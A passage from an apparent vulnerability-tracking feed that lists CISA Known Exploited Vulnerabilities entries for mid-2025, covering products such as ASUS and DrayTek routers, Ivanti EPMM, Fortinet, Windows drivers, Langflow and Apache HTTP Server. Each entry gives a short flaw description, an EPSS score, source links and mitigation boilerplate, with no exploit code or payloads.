CISA added this entry on 2025-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 2, 2025; federal due date Jun 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ASUS RT-AX55 Routers OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2023-39780
ASUS RT-AX55 Routers OS Command Injection Vulnerability (Jun 2, 2025).
ASUS RT-AX55 devices contain an OS command injection vulnerability that could allow a remote, authenticated attacker to execute arbitrary commands. As represented by CVE-2023-41346.
EPSS 39.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-39780&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-39780: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-39780&date=2026-10-25
CISA added this entry on 2025-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 2, 2025; federal due date Jun 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Samsung MagicINFO 9 Server Path Traversal Vulnerability
https://kevwire.com/record/CVE-2025-4632
Samsung MagicINFO 9 Server Path Traversal Vulnerability (May 22, 2025).
Samsung MagicINFO 9 Server contains a path traversal vulnerability that allows an attacker to write arbitrary file as system authority.
EPSS 24.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-4632&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-4632: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-4632&date=2026-10-25
CISA added this entry on 2025-05-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 22, 2025; federal due date Jun 12, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ZKTeco BioTime Path Traversal Vulnerability
https://kevwire.com/record/CVE-2023-38950
ZKTeco BioTime Path Traversal Vulnerability (May 19, 2025).
ZKTeco BioTime contains a path traversal vulnerability in the iclock API that allows an unauthenticated attacker to read arbitrary files via supplying a crafted payload.
EPSS 92.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-38950&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-38950: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-38950&date=2026-10-25
CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 19, 2025; federal due date Jun 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2024-27443
Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability (May 19, 2025).
Zimbra Collaboration contains a cross-site scripting (XSS) vulnerability in the CalendarInvite feature of the Zimbra webmail classic user interface. An attacker can exploit this vulnerability via an email message containing a crafted calendar header, leading to the execution of arbitrary JavaScript code.
EPSS 24.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-27443&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-27443: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-27443&date=2026-10-25
CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 19, 2025; federal due date Jun 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Srimax Output Messenger Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2025-27920
Srimax Output Messenger Directory Traversal Vulnerability (May 19, 2025).
Srimax Output Messenger contains a directory traversal vulnerability that allows an attacker to access sensitive files outside the intended directory, potentially leading to configuration leakage or arbitrary file access.
EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-27920&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-27920: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-27920&date=2026-10-25
CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 19, 2025; federal due date Jun 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### MDaemon Email Server Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2024-11182
MDaemon Email Server Cross-Site Scripting (XSS) Vulnerability (May 19, 2025).
MDaemon Email Server contains a cross-site scripting (XSS) vulnerability that allows a remote attacker to load arbitrary JavaScript code via an HTML e-mail message.
EPSS 33.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-11182&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-11182: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-11182&date=2026-10-25
CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 19, 2025; federal due date Jun 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Endpoint Manager Mobile (EPMM) Code Injection Vulnerability
https://kevwire.com/record/CVE-2025-4428
Ivanti Endpoint Manager Mobile (EPMM) Code Injection Vulnerability (May 19, 2025).
Ivanti Endpoint Manager Mobile (EPMM) contains a code injection vulnerability in the API component that allows an authenticated attacker to remotely execute arbitrary code via crafted API requests. This vulnerability results from an insecure implementation of the Hibernate Validator open-source library, as represented by CVE-2025-35036.
EPSS 88.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-4428&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-4428: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-4428&date=2026-10-25
CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 19, 2025; federal due date Jun 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Endpoint Manager Mobile (EPMM) Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2025-4427
Ivanti Endpoint Manager Mobile (EPMM) Authentication Bypass Vulnerability (May 19, 2025).
Ivanti Endpoint Manager Mobile (EPMM) contains an authentication bypass vulnerability in the API component that allows an attacker to access protected resources without proper credentials via crafted API requests. This vulnerability results from an insecure implementation of the Spring Framework open-source library.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-4427&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-4427: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-4427&date=2026-10-25
CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 19, 2025; federal due date Jun 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SAP NetWeaver Deserialization Vulnerability
https://kevwire.com/record/CVE-2025-42999
SAP NetWeaver Deserialization Vulnerability (May 15, 2025).
SAP NetWeaver Visual Composer Metadata Uploader contains a deserialization vulnerability that allows a privileged attacker to compromise the confidentiality, integrity, and availability of the host system by deserializing untrusted or malicious content.
EPSS 12.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-42999&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-42999: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-42999&date=2026-10-25
CISA added this entry on 2025-05-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 15, 2025; federal due date Jun 5, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### DrayTek Vigor Routers OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-12987
DrayTek Vigor Routers OS Command Injection Vulnerability (May 15, 2025).
DrayTek Vigor2960, Vigor300B, and Vigor3900 routers contain an OS command injection vulnerability due to an unknown function of the file /cgi-bin/mainfunction.cgi/apmcfgupload of the component web management interface.
EPSS 98.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-12987&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-12987: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-12987&date=2026-10-25
CISA added this entry on 2025-05-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 15, 2025; federal due date Jun 5, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet Multiple Products Stack-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2025-32756
Fortinet Multiple Products Stack-Based Buffer Overflow Vulnerability (May 14, 2025).
Fortinet FortiFone, FortiVoice, FortiNDR and FortiMail contain a stack-based overflow vulnerability that may allow a remote unauthenticated attacker to execute arbitrary code or commands via crafted HTTP requests.
EPSS 30.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-32756&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-32756: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-32756&date=2026-10-25
CISA added this entry on 2025-05-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 14, 2025; federal due date Jun 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Ancillary Function Driver for WinSock Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2025-32709
Microsoft Windows Ancillary Function Driver for WinSock Use-After-Free Vulnerability (May 13, 2025).
Microsoft Windows Ancillary Function Driver for WinSock contains a use-after-free vulnerability that allows an authorized attacker to escalate privileges to administrator.
EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-32709&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-32709: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-32709&date=2026-10-25
CISA added this entry on 2025-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 13, 2025; federal due date Jun 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Scripting Engine Type Confusion Vulnerability
https://kevwire.com/record/CVE-2025-30397
Microsoft Windows Scripting Engine Type Confusion Vulnerability (May 13, 2025).
Microsoft Windows Scripting Engine contains a type confusion vulnerability that allows an unauthorized attacker to execute code over a network via a specially crafted URL.
EPSS 27.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30397&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-30397: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30397&date=2026-10-25
CISA added this entry on 2025-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 13, 2025; federal due date Jun 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Common Log File System (CLFS) Driver Heap-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2025-32706
Microsoft Windows Common Log File System (CLFS) Driver Heap-Based Buffer Overflow Vulnerability (May 13, 2025).
Microsoft Windows Common Log File System (CLFS) Driver contains a heap-based buffer overflow vulnerability that allows an authorized attacker to elevate privileges locally.
EPSS 2.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-32706&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-32706: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-32706&date=2026-10-25
CISA added this entry on 2025-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 13, 2025; federal due date Jun 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Common Log File System (CLFS) Driver Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2025-32701
Microsoft Windows Common Log File System (CLFS) Driver Use-After-Free Vulnerability (May 13, 2025).
Microsoft Windows Common Log File System (CLFS) Driver contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally.
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-32701&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-32701: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-32701&date=2026-10-25
CISA added this entry on 2025-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 13, 2025; federal due date Jun 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows DWM Core Library Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2025-30400
Microsoft Windows DWM Core Library Use-After-Free Vulnerability (May 13, 2025).
Microsoft Windows DWM Core Library contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally.
EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30400&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-30400: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30400&date=2026-10-25
CISA added this entry on 2025-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 13, 2025; federal due date Jun 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TeleMessage TM SGNL Hidden Functionality Vulnerability
https://kevwire.com/record/CVE-2025-47729
TeleMessage TM SGNL Hidden Functionality Vulnerability (May 12, 2025).
TeleMessage TM SGNL contains a hidden functionality vulnerability in which the archiving backend holds cleartext copies of messages from TM SGNL application users.
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-47729&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-47729: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-47729&date=2026-10-25
CISA added this entry on 2025-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 12, 2025; federal due date Jun 2, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### GeoVision Devices OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-11120
GeoVision Devices OS Command Injection Vulnerability (May 7, 2025).
Multiple GeoVision devices contain an OS command injection vulnerability that allows a remote, unauthenticated attacker to inject and execute arbitrary system commands. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 28.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-11120&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-11120: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-11120&date=2026-10-25
CISA added this entry on 2025-05-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 7, 2025; federal due date May 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### GeoVision Devices OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-6047
GeoVision Devices OS Command Injection Vulnerability (May 7, 2025).
Multiple GeoVision devices contain an OS command injection vulnerability that allows a remote, unauthenticated attacker to inject and execute arbitrary system commands. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 10.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-6047&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-6047: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-6047&date=2026-10-25
CISA added this entry on 2025-05-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 7, 2025; federal due date May 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### FreeType Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2025-27363
FreeType Out-of-Bounds Write Vulnerability (May 6, 2025).
FreeType contains an out-of-bounds write vulnerability when attempting to parse font subglyph structures related to TrueType GX and variable font files that may allow for arbitrary code execution.
EPSS 27.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-27363&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-27363: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-27363&date=2026-10-25
CISA added this entry on 2025-05-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 6, 2025; federal due date May 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Langflow Missing Authentication Vulnerability
https://kevwire.com/record/CVE-2025-3248
Langflow Missing Authentication Vulnerability (May 5, 2025).
Langflow contains a missing authentication vulnerability in the /api/v1/validate/code endpoint that allows a remote, unauthenticated attacker to execute arbitrary code via crafted HTTP requests.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-3248&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-3248: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-3248&date=2026-10-25
CISA added this entry on 2025-05-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 5, 2025; federal due date May 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Commvault Command Center Path Traversal Vulnerability
https://kevwire.com/record/CVE-2025-34028
Commvault Command Center Path Traversal Vulnerability (May 2, 2025).
Commvault Command Center contains a path traversal vulnerability that allows a remote, unauthenticated attacker to execute arbitrary code.
EPSS 97.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-34028&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-34028: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-34028&date=2026-10-25
CISA added this entry on 2025-05-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 2, 2025; federal due date May 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Yiiframework Yii Improper Protection of Alternate Path Vulnerability
https://kevwire.com/record/CVE-2024-58136
Yiiframework Yii Improper Protection of Alternate Path Vulnerability (May 2, 2025).
Yii Framework contains an improper protection of alternate path vulnerability that may allow a remote attacker to execute arbitrary code. This vulnerability could affect other products that implement Yii, including—but not limited to—Craft CMS, as represented by CVE-2025-32432.
EPSS 87.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-58136&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-58136: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-58136&date=2026-10-25
CISA added this entry on 2025-05-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 2, 2025; federal due date May 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache HTTP Server Improper Escaping of Output Vulnerability
https://kevwire.com/record/CVE-2024-38475
Apache HTTP Server Improper Escaping of Output Vulnerability (May 1, 2025).
Apache HTTP Server contains an improper escaping of output vulnerability in mod_rewrite that allows an attacker to map URLs to filesystem locations that are permitted to be served by the server but are not intentionally/directly reachable by any URL, resulting in code execution or source code disclosure.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38475&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-38475: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38475&date=2026-10-25
CISA added this entry on 2025-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
